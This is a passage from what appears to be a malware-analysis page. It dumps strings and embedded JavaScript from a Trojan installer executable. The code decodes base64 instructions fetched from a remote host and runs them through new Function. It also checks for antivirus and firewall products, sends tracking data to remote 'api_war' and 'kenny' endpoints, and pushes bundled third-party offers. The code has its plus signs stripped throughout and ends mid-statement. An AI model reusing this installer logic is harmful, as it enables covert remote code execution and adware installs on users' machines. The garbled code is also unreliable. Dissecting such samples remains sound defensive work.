to the terms and conditions for</span>......<span class="_Gro
upPolicies" style="font-size: 11px;"></span>.....</div

<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_348:

`.rsrc
@t-9}
FJ<.tN<[tJ<\tF<*tB<|t><^t:<$t6
vSSSh
FTPjK
FtPj;
C.PjRV
tGHt.Ht&
EXCEPTION_EXECUTE_HANDLER
c:\logFile.txt
HKEY_LOCAL_MACHINE
openUrlOnDefaultBrowser
reportException
reportTrace
ThirdPartyUrlBlockedExplorer1
BeforeScriptExecuteExplorer1
hXXp://
URL EMPTY
INSTALL NOT_EXE NOT_MSI
()$^.* ?[]|\-{},:=!
WINDOWS
%H:%M:%S
GetPathExe
invalid _N_type: %d
checkRegKey
openUrlOnBrowser
Invalid URL
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
http:
Mozilla
"url":"
/Setup.application
Error opening key.
Key not found.
HKEY_USERS
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
CheckRegistryKeyExistance
SetStringKey
CWebBrowser2
CNotSupportedException
CCmdTarget
hhctrl.ocx
CHttpConnection
CHttpFile
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
portuguese-brazilian
.?AVCCmdTarget@@
.?AVCWebBrowser2@@
.PAVCFileException@@
.PAVCInternetException@@
.PAVCOleException@@
.PAVCException@@
.PAVCObject@@
.PAVCMemoryException@@
.PAVCSimpleException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCUserException@@
.PAVCResourceException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.?AVCHttpConnection@@
.?AVCHttpFile@@
.PAVCArchiveException@@
.PAVCOleDispatchException@@
zcÁ
Created with ajaxload.info
var CryptoJS=CryptoJS||function(u,p){var d={},l=d.lib={},s=function(){},t=l.Base={extend:function(a){s.prototype=this;var c=new s;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a){a.hasOwnProperty(c)&&(this[c]=a[c])}a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},r=l.WordArray=t.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=p?c:4*a.length},toString:function(a){return(a||v).stringify(this)},concat:function(a){var c=this.words,e=a.words,j=this.sigBytes;a=a.sigBytes;this.clamp();if(j%4){for(var k=0;k<a;k  ){c[j k>>>2]|=(e[k>>>2]>>>24-8*(k%4)&255)<<24-8*((j k)%4)}}else{if(65535<e.length){for(k=0;k<a;k =4){c[j k>>>2]=e[k>>>2]}}else{c.push.apply(c,e)}}this.sigBytes =a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<32-8*(c%4);a.length=u.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],e=0;e<a;e =4){c.push(4294967296*u.random()|0)}return new r.init(c,a)}}),w=d.enc={},v=w.Hex={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j  ){var k=c[j>>>2]>>>24-8*(j%4)&255;e.push((k>>>4).toString(16));e.push((k&15).toString(16))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j =2){e[j>>>3]|=parseInt(a.substr(j,2),16)<<24-4*(j%8)}return new r.init(e,c/2)}},b=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j  ){e.push(String.fromCharCode(c[j>>>2]>>>24-8*(j%4)&255))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j  ){e[j>>>2]|=(a.charCodeAt(j)&255)<<24-8*(j%4)}return new r.init(e,c)}},x=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(b.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data")}},parse:function(a){return b.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new r.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=x.parse(a));this._data.concat(a);this._nDataBytes =a.sigBytes},_process:function(a){var c=this._data,e=c.words,j=c.sigBytes,k=this.blockSize,b=j/(4*k),b=a?u.ceil(b):u.max((b|0)-this._minBufferSize,0);a=b*k;j=u.min(4*a,j);if(a){for(var q=0;q<a;q =k){this._doProcessBlock(e,q)}q=e.splice(0,a);c.sigBytes-=j}return new r.init(q,j)},clone:function(){var a=t.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:t.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,e){return(new a.init(e)).finalize(b)}},_createHmacHelper:function(a){return function(b,e){return(new n.HMAC.init(a,e)).finalize(b)}}});var n=d.algo={};return d}(Math);(function(){var u=CryptoJS,p=u.lib.WordArray;u.enc.Base64={stringify:function(d){var l=d.words,p=d.sigBytes,t=this._map;d.clamp();d=[];for(var r=0;r<p;r =3){for(var w=(l[r>>>2]>>>24-8*(r%4)&255)<<16|(l[r 1>>>2]>>>24-8*((r 1)%4)&255)<<8|l[r 2>>>2]>>>24-8*((r 2)%4)&255,v=0;4>v&&r 0.75*v<p;v  ){d.push(t.charAt(w>>>6*(3-v)&63))}}if(l=t.charAt(64)){for(;d.length%4;){d.push(l)}}return d.join("")},parse:function(d){var l=d.length,s=this._map,t=s.charAt(64);t&&(t=d.indexOf(t),-1!=t&&(l=t));for(var t=[],r=0,w=0;w<l;w  ){if(w%4){var v=s.indexOf(d.charAt(w-1))<<2*(w%4),b=s.indexOf(d.charAt(w))>>>6-2*(w%4);t[r>>>2]|=(v|b)<<24-8*(r%4);r  }}return p.create(t,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /="}})();(function(u){function p(b,n,a,c,e,j,k){b=b (n&a|~n&c) e k;return(b<<j|b>>>32-j) n}function d(b,n,a,c,e,j,k){b=b (n&c|a&~c) e k;return(b<<j|b>>>32-j) n}function l(b,n,a,c,e,j,k){b=b (n^a^c) e k;return(b<<j|b>>>32-j) n}function s(b,n,a,c,e,j,k){b=b (a^(n|~c)) e k;return(b<<j|b>>>32-j) n}for(var t=CryptoJS,r=t.lib,w=r.WordArray,v=r.Hasher,r=t.algo,b=[],x=0;64>x;x  ){b[x]=4294967296*u.abs(u.sin(x 1))|0}r=r.MD5=v.extend({_doReset:function(){this._hash=new w.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(q,n){for(var a=0;16>a;a  ){var c=n a,e=q[c];q[c]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360}var a=this._hash.words,c=q[n 0],e=q[n 1],j=q[n 2],k=q[n 3],z=q[n 4],r=q[n 5],t=q[n 6],w=q[n 7],v=q[n 8],A=q[n 9],B=q[n 10],C=q[n 11],u=q[n 12],D=q[n 13],E=q[n 14],x=q[n 15],f=a[0],m=a[1],g=a[2],h=a[3],f=p(f,m,g,h,c,7,b[0]),h=p(h,f,m,g,e,12,b[1]),g=p(g,h,f,m,j,17,b[2]),m=p(m,g,h,f,k,22,b[3]),f=p(f,m,g,h,z,7,b[4]),h=p(h,f,m,g,r,12,b[5]),g=p(g,h,f,m,t,17,b[6]),m=p(m,g,h,f,w,22,b[7]),f=p(f,m,g,h,v,7,b[8]),h=p(h,f,m,g,A,12,b[9]),g=p(g,h,f,m,B,17,b[10]),m=p(m,g,h,f,C,22,b[11]),f=p(f,m,g,h,u,7,b[12]),h=p(h,f,m,g,D,12,b[13]),g=p(g,h,f,m,E,17,b[14]),m=p(m,g,h,f,x,22,b[15]),f=d(f,m,g,h,e,5,b[16]),h=d(h,f,m,g,t,9,b[17]),g=d(g,h,f,m,C,14,b[18]),m=d(m,g,h,f,c,20,b[19]),f=d(f,m,g,h,r,5,b[20]),h=d(h,f,m,g,B,9,b[21]),g=d(g,h,f,m,x,14,b[22]),m=d(m,g,h,f,z,20,b[23]),f=d(f,m,g,h,A,5,b[24]),h=d(h,f,m,g,E,9,b[25]),g=d(g,h,f,m,k,14,b[26]),m=d(m,g,h,f,v,20,b[27]),f=d(f,m,g,h,D,5,b[28]),h=d(h,f,m,g,j,9,b[29]),g=d(g,h,f,m,w,14,b[30]),m=d(m,g,h,f,u,20,b[31]),f=l(f,m,g,h,r,4,b[32]),h=l(h,f,m,g,v,11,b[33]),g=l(g,h,f,m,C,16,b[34]),m=l(m,g,h,f,E,23,b[35]),f=l(f,m,g,h,e,4,b[36]),h=l(h,f,m,g,z,11,b[37]),g=l(g,h,f,m,w,16,b[38]),m=l(m,g,h,f,B,23,b[39]),f=l(f,m,g,h,D,4,b[40]),h=l(h,f,m,g,c,11,b[41]),g=l(g,h,f,m,k,16,b[42]),m=l(m,g,h,f,t,23,b[43]),f=l(f,m,g,h,A,4,b[44]),h=l(h,f,m,g,u,11,b[45]),g=l(g,h,f,m,x,16,b[46]),m=l(m,g,h,f,j,23,b[47]),f=s(f,m,g,h,c,6,b[48]),h=s(h,f,m,g,w,10,b[49]),g=s(g,h,f,m,E,15,b[50]),m=s(m,g,h,f,r,21,b[51]),f=s(f,m,g,h,u,6,b[52]),h=s(h,f,m,g,k,10,b[53]),g=s(g,h,f,m,B,15,b[54]),m=s(m,g,h,f,e,21,b[55]),f=s(f,m,g,h,v,6,b[56]),h=s(h,f,m,g,x,10,b[57]),g=s(g,h,f,m,t,15,b[58]),m=s(m,g,h,f,D,21,b[59]),f=s(f,m,g,h,z,6,b[60]),h=s(h,f,m,g,C,10,b[61]),g=s(g,h,f,m,j,15,b[62]),m=s(m,g,h,f,A,21,b[63]);a[0]=a[0] f|0;a[1]=a[1] m|0;a[2]=a[2] g|0;a[3]=a[3] h|0},_doFinalize:function(){var b=this._data,n=b.words,a=8*this._nDataBytes,c=8*b.sigBytes;n[c>>>5]|=128<<24-c2;var e=u.floor(a/4294967296);n[(c 64>>>9<<4) 15]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360;n[(c 64>>>9<<4) 14]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;b.sigBytes=4*(n.length 1);this._process();b=this._hash;n=b.words;for(a=0;4>a;a  ){c=n[a],n[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360}return b},clone:function(){var b=v.clone.call(this);b._hash=this._hash.clone();return b}});t.MD5=v._createHelper(r);t.HmacMD5=v._createHmacHelper(r)})(Math);(function(){var u=CryptoJS,p=u.lib,d=p.Base,l=p.WordArray,p=u.algo,s=p.EvpKDF=d.extend({cfg:d.extend({keySize:4,hasher:p.MD5,iterations:1}),init:function(d){this.cfg=this.cfg.extend(d)},compute:function(d,r){for(var p=this.cfg,s=p.hasher.create(),b=l.create(),u=b.words,q=p.keySize,p=p.iterations;u.length<q;){n&&s.update(n);var n=s.update(d).finalize(r);s.reset();for(var a=1;a<p;a  ){n=s.finalize(n),s.reset()}b.concat(n)}b.sigBytes=4*q;return b}});u.EvpKDF=function(d,l,p){return s.create(p).compute(d,l)}})();CryptoJS.lib.Cipher||function(u){var p=CryptoJS,d=p.lib,l=d.Base,s=d.WordArray,t=d.BufferedBlockAlgorithm,r=p.enc.Base64,w=p.algo.EvpKDF,v=d.Cipher=t.extend({cfg:l.extend(),createEncryptor:function(e,a){return this.create(this._ENC_XFORM_MODE,e,a)},createDecryptor:function(e,a){return this.create(this._DEC_XFORM_MODE,e,a)},init:function(e,a,b){this.cfg=this.cfg.extend(b);this._xformMode=e;this._key=a;this.reset()},reset:function(){t.reset.call(this);this._doReset()},process:function(e){this._append(e);return this._process()},finalize:function(e){e&&this._append(e);return this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(e){return{encrypt:function(b,k,d){return("string"==typeof k?c:a).encrypt(e,b,k,d)},decrypt:function(b,k,d){return("string"==typeof k?c:a).decrypt(e,b,k,d)}}}});d.StreamCipher=v.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var b=p.mode={},x=function(e,a,b){var c=this._iv;c?this._iv=u:c=this._prevBlock;for(var d=0;d<b;d  ){e[a d]^=c[d]}},q=(d.BlockCipherMode=l.extend({createEncryptor:function(e,a){return this.Encryptor.create(e,a)},createDecryptor:function(e,a){return this.Decryptor.create(e,a)},init:function(e,a){this._cipher=e;this._iv=a}})).extend();q.Encryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize;x.call(this,e,a,c);b.encryptBlock(e,a);this._prevBlock=e.slice(a,a c)}});q.Decryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize,d=e.slice(a,a c);b.decryptBlock(e,a);x.call(this,e,a,c);this._prevBlock=d}});b=b.CBC=q;q=(p.pad={}).Pkcs7={pad:function(a,b){for(var c=4*b,c=c-a.sigBytes%c,d=c<<24|c<<16|c<<8|c,l=[],n=0;n<c;n =4){l.push(d)}c=s.create(l,c);a.concat(c)},unpad:function(a){a.sigBytes-=a.words[a.sigBytes-1>>>2]&255}};d.BlockCipher=v.extend({cfg:v.cfg.extend({mode:b,padding:q}),reset:function(){v.reset.call(this);var a=this.cfg,b=a.iv,a=a.mode;if(this._xformMode==this._ENC_XFORM_MODE){var c=a.createEncryptor}else{c=a.createDecryptor,this._minBufferSize=1}this._mode=c.call(a,this,b&&b.words)},_doProcessBlock:function(a,b){this._mode.processBlock(a,b)},_doFinalize:function(){var a=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){a.pad(this._data,this.blockSize);var b=this._process(!0)}else{b=this._process(!0),a.unpad(b)}return b},blockSize:4});var n=d.CipherParams=l.extend({init:function(a){this.mixIn(a)},toString:function(a){return(a||this.formatter).stringify(this)}}),b=(p.format={}).OpenSSL={stringify:function(a){var b=a.ciphertext;a=a.salt;return(a?s.create([1398893684,1701076831]).concat(a).concat(b):b).toString(r)},parse:function(a){a=r.parse(a);var b=a.words;if(1398893684==b[0]&&1701076831==b[1]){var c=s.create(b.slice(2,4));b.splice(0,4);a.sigBytes-=16}return n.create({ciphertext:a,salt:c})}},a=d.SerializableCipher=l.extend({cfg:l.extend({format:b}),encrypt:function(a,b,c,d){d=this.cfg.extend(d);var l=a.createEncryptor(c,d);b=l.finalize(b);l=l.cfg;return n.create({ciphertext:b,key:c,iv:l.iv,algorithm:a,mode:l.mode,padding:l.padding,blockSize:a.blockSize,formatter:d.format})},decrypt:function(a,b,c,d){d=this.cfg.extend(d);b=this._parse(b,d.format);return a.createDecryptor(c,d).finalize(b.ciphertext)},_parse:function(a,b){return"string"==typeof a?b.parse(a,this):a}}),p=(p.kdf={}).OpenSSL={execute:function(a,b,c,d){d||(d=s.random(8));a=w.create({keySize:b c}).compute(a,d);c=s.create(a.words.slice(b),4*c);a.sigBytes=4*b;return n.create({key:a,iv:c,salt:d})}},c=d.PasswordBasedCipher=a.extend({cfg:a.cfg.extend({kdf:p}),encrypt:function(b,c,d,l){l=this.cfg.extend(l);d=l.kdf.execute(d,b.keySize,b.ivSize);l.iv=d.iv;b=a.encrypt.call(this,b,c,d.key,l);b.mixIn(d);return b},decrypt:function(b,c,d,l){l=this.cfg.extend(l);c=this._parse(c,l.format);d=l.kdf.execute(d,b.keySize,b.ivSize,c.salt);l.iv=d.iv;return a.decrypt.call(this,b,c,d.key,l)}})}();(function(){for(var u=CryptoJS,p=u.lib.BlockCipher,d=u.algo,l=[],s=[],t=[],r=[],w=[],v=[],b=[],x=[],q=[],n=[],a=[],c=0;256>c;c  ){a[c]=128>c?c<<1:c<<1^283}for(var e=0,j=0,c=0;256>c;c  ){var k=j^j<<1^j<<2^j<<3^j<<4,k=k>>>8^k&255^99;l[e]=k;s[k]=e;var z=a[e],F=a[z],G=a[F],y=257*a[k]^16843008*k;t[e]=y<<24|y>>>8;r[e]=y<<16|y>>>16;w[e]=y<<8|y>>>24;v[e]=y;y=16843009*G^65537*F^257*z^16843008*e;b[k]=y<<24|y>>>8;x[k]=y<<16|y>>>16;q[k]=y<<8|y>>>24;n[k]=y;e?(e=z^a[a[a[G^z]]],j^=a[a[j]]):e=j=1}var H=[0,1,2,4,8,16,32,64,128,27,54],d=d.AES=p.extend({_doReset:function(){for(var a=this._key,c=a.words,d=a.sigBytes/4,a=4*((this._nRounds=d 6) 1),e=this._keySchedule=[],j=0;j<a;j  ){if(j<d){e[j]=c[j]}else{var k=e[j-1];j%d?6<d&&4==j%d&&(k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255]):(k=k<<8|k>>>24,k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255],k^=H[j/d|0]<<24);e[j]=e[j-d]^k}}c=this._invKeySchedule=[];for(d=0;d<a;d  ){j=a-d,k=d%4?e[j]:e[j-4],c[d]=4>d||4>=j?k:b[l[k>>>24]]^x[l[k>>>16&255]]^q[l[k>>>8&255]]^n[l[k&255]]}},encryptBlock:function(a,b){this._doCryptBlock(a,b,this._keySchedule,t,r,w,v,l)},decryptBlock:function(a,c){var d=a[c 1];a[c 1]=a[c 3];a[c 3]=d;this._doCryptBlock(a,c,this._invKeySchedule,b,x,q,n,s);d=a[c 1];a[c 1]=a[c 3];a[c 3]=d},_doCryptBlock:function(a,b,c,d,e,j,l,f){for(var m=this._nRounds,g=a[b]^c[0],h=a[b 1]^c[1],k=a[b 2]^c[2],n=a[b 3]^c[3],p=4,r=1;r<m;r  ){var q=d[g>>>24]^e[h>>>16&255]^j[k>>>8&255]^l[n&255]^c[p  ],s=d[h>>>24]^e[k>>>16&255]^j[n>>>8&255]^l[g&255]^c[p  ],t=d[k>>>24]^e[n>>>16&255]^j[g>>>8&255]^l[h&255]^c[p  ],n=d[n>>>24]^e[g>>>16&255]^j[h>>>8&255]^l[k&255]^c[p  ],g=q,h=s,k=t}q=(f[g>>>24]<<24|f[h>>>16&255]<<16|f[k>>>8&255]<<8|f[n&255])^c[p  ];s=(f[h>>>24]<<24|f[k>>>16&255]<<16|f[n>>>8&255]<<8|f[g&255])^c[p  ];t=(f[k>>>24]<<24|f[n>>>16&255]<<16|f[g>>>8&255]<<8|f[h&255])^c[p  ];n=(f[n>>>24]<<24|f[g>>>16&255]<<16|f[h>>>8&255]<<8|f[k&255])^c[p  ];a[b]=q;a[b 1]=s;a[b 2]=t;a[b 3]=n},keySize:8});u.AES=p._createHelper(d)})();CryptoJS.mode.CFB=(function(){var CFB=CryptoJS.lib.BlockCipherMode.extend();CFB.Encryptor=CFB.extend({processBlock:function(words,offset){var cipher=this._cipher;var blockSize=cipher.blockSize;generateKeystreamAndEncrypt.call(this,words,offset,blockSize,cipher);this._prevBlock=words.slice(offset,offset blockSize)}});CFB.Decryptor=CFB.extend({processBlock:function(words,offset){var cipher=this._cipher;var blockSize=cipher.blockSize;var thisBlock=words.slice(offset,offset blockSize);generateKeystreamAndEncrypt.call(this,words,offset,blockSize,cipher);this._prevBlock=thisBlock}});function generateKeystreamAndEncrypt(words,offset,blockSize,cipher){var iv=this._iv;if(iv){var keystream=iv.slice(0);this._iv=undefined}else{var keystream=this._prevBlock}cipher.encryptBlock(keystream,0);for(var i=0;i<blockSize;i  ){words[offset i]^=keystream[i]}}return CFB}());var firstCall=null;var secondCall=null;function checkPresent(base64code,resultCode){var code="";try{code=decodeBase64(base64code);code=code.replace(/%exitcode%/g,resultCode||"");var result=evalCode(code);return result}catch(err){return null}}function evalCode(code){var codeFunc=new Function(code);var result=codeFunc.call(this,[]);if(result===true||result===false){return result}else{var err={};err.message="no return";throw err}}function decodeBase64(base64code){var code="";try{var words=CryptoJS.enc.Base64.parse(base64code);code=CryptoJS.enc.Utf8.stringify(words)}catch(ex){code=Base64.decode(base64code)}return code}function checkMachineRestrictions(machineRestrictions){var restricted=false;$.each(machineRestrictions,function(i,value){value.type=value.type.toLowerCase();if(value.type=="av"||value.type=="fw"||value.type=="as"||value.type=="fav"||value.type=="ffw"||value.type=="fas"){restricted=restricted||("MP_" machineInfo[value.type]==value.value)}});return restricted}var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /=",decode:function(input){var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\ \/\=]/g,"");while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i  ));enc2=this._keyStr.indexOf(input.charAt(i  ));enc3=this._keyStr.indexOf(input.charAt(i  ));enc4=this._keyStr.indexOf(input.charAt(i  ));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output String.fromCharCode(chr1);if(enc3!=64){output=output String.fromCharCode(chr2)}if(enc4!=64){output=output String.fromCharCode(chr3)}}output=Base64._utf8_decode(output);return output},_utf8_decode:function(utftext){var string="";var i=0;var c=c1=c2=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string =String.fromCharCode(c);i  }else{if((c>191)&&(c<224)){c2=utftext.charCodeAt(i 1);string =String.fromCharCode(((c&31)<<6)|(c2&63));i =2}else{c2=utftext.charCodeAt(i 1);c3=utftext.charCodeAt(i 2);string =String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i =3}}}return string}};var dataObject=null;var installerData;var machineInfo;var acceptedCount=0;var currOffer=-1;var step=-1;var loading=false;var installing=[];var finished=false;var mappInstalled=false;var exception=false;var currentOfferScreen=0;var wasSkipAll=false;var monetizationTypesAccepted=[];var executionID="";var specialLinks=["_TitPrivacy","_TitSetup","_TitFree","_TitHelp","_TitUninstall","_TitContact","_TitTerms"];var TRACKURL;var INSTALLED=0;var DECLINED=2;var ABORTED=3;var PRESENT=4;var NOCONFIRMED=5;var ACCEPTED=9;var SKIPALL=17;var PENDING=20;var MACHINE=85;var EXECUTIONERROR=91;var DISPLAYERROR=92;var INSTALLERROR=93;var PRECHECKERROR=94;var POSTCHECKERROR=95;var OFFERERROR=96;var NODISPLAYCOMPATIBLE=97;var WELCOME=0;var OFFERS=1;var INSTALLING=2;var FINISH=3;function getData(crypted,usedDomain){var decryptedText="CryptError";try{decryptedText=hexToString(crypted);installerData=JSON.parse(decryptedText);if(typeof installerData.extra==="string"){installerData.extra=JSON.parse(installerData.extra)}addLog(JSON.stringify(installerData));installerData.extra.requestHost=usedDomain}catch(error){ForceError("Internal->" JSON.stringify(error) "->" crypted,"","");return}addTrace("DecryptedInternal");addLog("decrypted internal data");if(installerData.host==""){installerData.host=installerData.extra.requestHost.substring(installerData.extra.requestHost.indexOf(".") 1)}try{addLog(JSON.stringify(machineInfo));var apiUrl;addLog("getting machine info");var WinVer=machineInfo.os;addLog("parsing winver");WinVer=parseFloat(WinVer);addLog("getting url");apiUrl="hXXp://" installerData.extra.requestHost "/stan/api_war/" installerData.publisher "/" installerData.campaign "/" installerData.carrier "/" machineInfo.lan.toUpperCase() "/" getRegion().toUpperCase() "?browser=" installerData.usedBrowser;addLog(apiUrl);getResponseFromWrapper(cryptUrl(apiUrl),"","onDataRecivied","ForceError");addLog(WinVer.toString())}catch(error){ForceError("GetData->" JSON.stringify(error))}}function onException(data){try{if(data.message){data=data.message}if(dataObject&&dataObject.offers){for(var i=0;i<dataObject.offers.length;i  ){var offer=dataObject.offers[i];offer.state=EXECUTIONERROR}}var msgText="An error has occurred";try{if(returnIdValue){msgText=returnIdValue("#_ExceptionText")||msgText}showMessage(msgText,"",false)}catch(err){}exception=true;addLog("exception");onExit()}catch(err){sendEx("onException->" JSON.stringify(err))}}function generateExecutionID(){var stringBuilder="";var currentdate=new Date();stringBuilder =currentdate.getHours();stringBuilder =currentdate.getMinutes();stringBuilder =currentdate.getMilliseconds();stringBuilder =installerData.uid||randomString(23);return stringBuilder}function randomString(len){var text="";var charset="abcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<len;i  ){text =charset.charAt(Math.floor(Math.random()*charset.length))}return text}function onDataRecivied(data){try{addTrace("ApiSuccess");addLog("api response succes");dataObject=data;dataObject=JSON.parse(replaceResponse(dataObject,installerData,JSON.parse(dataObject),""));executionID=generateExecutionID();setBlankProfile();machineInfo.fav=FormatAntivirusName(machineInfo.av,dataObject.installerBehavior.antivirus);machineInfo.ffw=FormatAntivirusName(machineInfo.fw,dataObject.installerBehavior.antivirus);machineInfo.fas=FormatAntivirusName(machineInfo.as,dataObject.installerBehavior.antivirus);addLog(JSON.stringify(machineInfo));TRACKURL="hXXp://" installerData.extra.requestHost "/kenny/" dataObject.installerBehavior.track.service;addLog("track url->" TRACKURL);addLog("track type->" dataObject.installerBehavior.track.type);setTrackInterval();addLog("object parsed");addTrace("ObjectParsed");setInitialStates();addTrace("PostSetInitialStates");addLog("set initial states completed");showProfile()}catch(error){ForceError("DataRecivied->" JSON.stringify(error) "--","","","")}}function setBlankProfile(){if(installerData.url!=""){dataObject.installerBehavior.mappUrl=decodeURIComponent(installerData.url)}if(installerData.caption!=""){installerData.app=installerData.caption;dataObject.presentation.formCaption=installerData.caption}}function setLinks(){SetLink("_TitPrivacy",dataObject.presentation.links.privacyUrl,true);SetLink("_TitSetup",dataObject.presentation.links.setupUrl,true);SetLink("_TitFree",dataObject.presentation.links.freeUrl,true);SetLink("_TitHelp",dataObject.presentation.links.helpUrl,true);SetLink("_TitUninstall",dataObject.presentation.links.uninstallUrl,true);SetLink("_TitContact",dataObject.presentation.links.contactUrl,true);SetLink("_TitTerms",dataObject.presentation.links.termsUrl,true)}function setInitialStates(){for(var i=0;i<dataObject.offers.length;i  ){var offer=dataObject.offers[i];offer.catchallMonetizations=[];offer.usedScreen=null;offer.score =1;if(offer.inactive==-1||!offer.inactive){if(checkMachineRestrictions(offer.offerBehavior.machineRestrictions)){offer.state=MACHINE}else{if(offer.offerBehavior.ownerCheck&&ownerCheck(offer.id,false)){offer.state=PRESENT}else{var checkResult;var ignorePresent=GetIgnorePresents(offer.id);if(ignorePresent==1){checkResult=false}else{if(ignorePresent==2){checkResult=true}else{checkResult=checkPresent(offer.offerBehavior.preCheck)}}if(checkResult==null){offer.state=PRECHECKERROR}else{if(checkResult){offer.state=PRESENT}else{offer.state=PENDING}}}}}else{offer.state=offer.inactive}}}var gratShowed=false;function openGratitudes(){if(gratShowed){return}gratShowed=true;if(mappInstalled&&dataObject.installerBehavior.gratitudeUrl!=null){openUrlOnBrowser(dataObject.installerBehavior.gratitudeUrl,installerData.usedBrowser)}else{if(!mappInstalled&&dataObject.installerBehavior.abortUrl!=null){openUrlOnBrowser(dataObject.installerBehavior.abortUrl,installerData.usedBrowser)}}}function generateUninstaller(){var values=Array();$.each(dataObject.offers,function(key,offer){if(offer.state==INSTALLED){$.each(offer.offerBehavior.uninstall,function(key,uninstall){var currentvalue=Array();currentvalue[0]=uninstall.uninstallKey;currentvalue[1]=uninstall.uninstallProcess;values.push(currentvalue)})}});createUninstaller(values)}function onAccept(){addLog("onAccept is loading = " loading);if(loading||step==INSTALLING||step==FINISH){return}loading=true;if(step==1){if(currOffer.length==1){var offerObject=dataObject.offers[currOffer[0]];var accepted=GetAccepted(dataObject.presentation.offerScreens[currentOfferScreen].argsDecline);if(accepted){acceptOffer(offerObject);offerObject.commandLine=GetCommandline(offerObject.commandLine,offerObject.argsDelimiter);acceptedCount  }else{offerObject.state=DECLINED;changeScreen()}}else{$("._CBdecline").each(function(){var offerObject=dataObject.offers[$(this).attr("tag")];if($(this).is(":checked")){acceptOffer(offerObject)}else{offerObject.state=DECLINED}})}}goForward()}function onDecline(){addLog("onDecline is loading = " loading);if(loading||step==INSTALLING||step==FINISH){return}loading=true;if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];currObject.state=DECLINED})}changeScreen();goForward()}function onOmit(){addLog("onOmit is loading = " loading);if(loading||step==INSTALLING||step==FINISH){return}loading=true;$.each(dataObject.offers,function(key,offer){if(offer.state==PENDING){wasSkipAll=true;offer.state=SKIPALL}});goForward()}function ExitApplication(){openGratitudes();generateUninstaller();closeForm()}function TrackAndClose(){finished=true;track("ExitApplication","ExitApplication")}function exitBeforeEnd(){var result=showMessage(returnIdValue("#_ExitConfirm")||"Closing now the installer could leave some incomplete installations. Would you like to continue with the instalation process?","",true);if(result==false){if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];currObject.state=ABORTED})}else{if(step==2){for(var i=0;i<dataObject.offers.length;i  ){var offer=dataObject.offers[i];if(typeof offer!=="undefined"&&offer.state==ACCEPTED){offer.state=ABORTED}}}}TrackAndClose()}}function onExit(){addLog("onExit");if(!dataObject){closeForm()}else{if(finished){ExitApplication()}else{if(exception){TrackAndClose()}else{exitBeforeEnd()}}}}function goForward(){if(step!=OFFERS||currOffer==null){step  }addLog("go forward");updateValue($("._OffersShowing"),"",false);currOffersText="";printStates();hideClasses(["_StepElement"]);switch(step){case WELCOME:ChangeVisibility("_StepWelcome");var 